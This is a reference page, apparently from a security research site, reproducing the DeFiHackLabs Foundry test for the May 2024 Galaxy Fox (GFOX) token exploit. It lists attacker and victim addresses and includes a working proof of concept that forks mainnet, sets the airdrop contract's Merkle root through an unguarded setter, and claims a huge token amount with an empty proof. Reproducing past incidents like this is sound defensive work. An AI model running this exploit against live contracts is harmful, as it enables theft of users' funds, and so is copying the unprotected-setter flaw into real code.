Public reproduction file

src/test/2024-05/GFOX_exp.sol

Public reproduction file for dataset entry GFOX.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-05/GFOX_exp.sol68 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6import "forge-std/console.sol";
7 
8// @KeyInfo - Total Lost : 330K
9// Attacker : https://etherscan.io/address/0xFcE19F8f823759b5867ef9a5055A376f20c5E454
10// Attack Contract : https://etherscan.io/address/0x86C68d9e13d8d6a70b6423CEB2aEdB19b59F2AA5
11// Vulnerable Contract : https://etherscan.io/address/0x47c4b3144de2c87a458d510c0c0911d1903d1686
12// Attack Tx : https://etherscan.io/tx/0x12fe79f1de8aed0ba947cec4dce5d33368d649903cb45a5d3e915cc459e751fc
13 
14// @Info
15// Vulnerable Contract Code : https://etherscan.io/address/0x47c4b3144de2c87a458d510c0c0911d1903d1686#code
16 
17// @Analysis
18// Post-mortem : https://neptunemutual.com/blog/how-was-galaxy-fox-token-exploited/
19// Twitter Guy : https://twitter.com/CertiKAlert/status/1788751142144401886
20// Hacking God :
21pragma solidity ^0.8.0;
22 
23interface IVictim {
24    function setMerkleRoot(
25        bytes32 _merkleRoot
26    ) external;
27 
28    function claim(address to, uint256 amount, bytes32[] calldata proof) external;
29}
30 
31contract GFOXExploit is Test {
32    uint256 blocknumToForkFrom = 19_835_924;
33    IERC20 private gfox;
34    IVictim private victim;
35 
36    function setUp() public {
37        vm.createSelectFork("mainnet", blocknumToForkFrom);
38        gfox = IERC20(0x8F1CecE048Cade6b8a05dFA2f90EE4025F4F2662);
39        victim = IVictim(0x11A4a5733237082a6C08772927CE0a2B5f8A86B6);
40    }
41 
42    modifier balanceLog() {
43        emit log_named_decimal_uint("Attacker GFOX Balance Before exploit", getBalance(gfox), 18);
44        _;
45        emit log_named_decimal_uint("Attacker GFOX Balance After exploit", getBalance(gfox), 18);
46    }
47 
48    function testExploit() external balanceLog {
49        //implement exploit code here
50        // the amount of GFOX to be transferred
51        uint256 amount = 1_780_453_099_185_000_000_000_000_000;
52        // set the merkle root
53        bytes32 root = _merkleRoot(address(this), amount);
54        victim.setMerkleRoot(root);
55        // claim the GFOX
56        victim.claim(address(this), amount, new bytes32[](0));
57    }
58 
59    function _merkleRoot(address to, uint256 amount) internal pure returns (bytes32) {
60        return keccak256(abi.encodePacked(to, amount));
61    }
62 
63    function getBalance(
64        IERC20 token
65    ) private view returns (uint256) {
66        return token.balanceOf(address(this));
67    }
68}

Analysis

Dataset entry

Public Foundry test for “GFOX” (2024-05-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2024-05/Burner_exp.solSame month in the dataset · 63 lines
src/test/2024-05/EXcommunity_exp.solSame month in the dataset · 139 lines
src/test/2024-05/GPU_exp.solSame month in the dataset · 74 lines
src/test/2024-05/Liquiditytokens_exp.solSame month in the dataset · 194 lines
src/test/2024-05/MetaDragon_exp.solSame month in the dataset · 49 lines
src/test/2024-05/MixedSwapRouter_exp.solSame month in the dataset · 188 lines
src/test/2024-05/NORMIE_exp.solSame month in the dataset · 138 lines
src/test/2024-05/OSN_exp.solSame month in the dataset · 187 lines
src/test/2024-05/PredyFinance_exp.solSame month in the dataset · 181 lines
src/test/2024-05/RedKeysCoin_exp.solSame month in the dataset · 76 lines
src/test/2024-05/SATURN_exp.solSame month in the dataset · 133 lines
src/test/2024-05/SCROLL_exp.solSame month in the dataset · 68 lines
src/test/2024-05/Sonne_exp.solSame month in the dataset · 185 lines
src/test/2024-05/TCH_exp.solSame month in the dataset · 277 lines
src/test/2024-05/TGC_exp.solSame month in the dataset · 74 lines
src/test/2024-05/Tradeonorion_exp.solSame month in the dataset · 346 lines
src/test/2024-05/TSURU_exp.solSame month in the dataset · 97 lines

Also imports external libraries: forge-std/Test.sol, forge-std/console.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0xfce19f8f823759b5867ef9a5055a376f20c5e454
Attack Contract
0x86c68d9e13d8d6a70b6423ceb2aedb19b59f2aa5
Vulnerable Contract
0x47c4b3144de2c87a458d510c0c0911d1903d1686

Attack Tx
0x12fe79f1de8aed0ba947cec4dce5d33368d649903cb45a5d3e915cc459e751fc

File record

Name: GFOX
Path: src/test/2024-05/GFOX_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: ec4ba307bbdca3471eec6149bd0cd2e772d30b46
Language: Solidity
Size: 69 lines
Date: 2024-05-10
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-05/GFOX_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ec4ba307bbdca3471eec6149bd0cd2e772d30b46, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.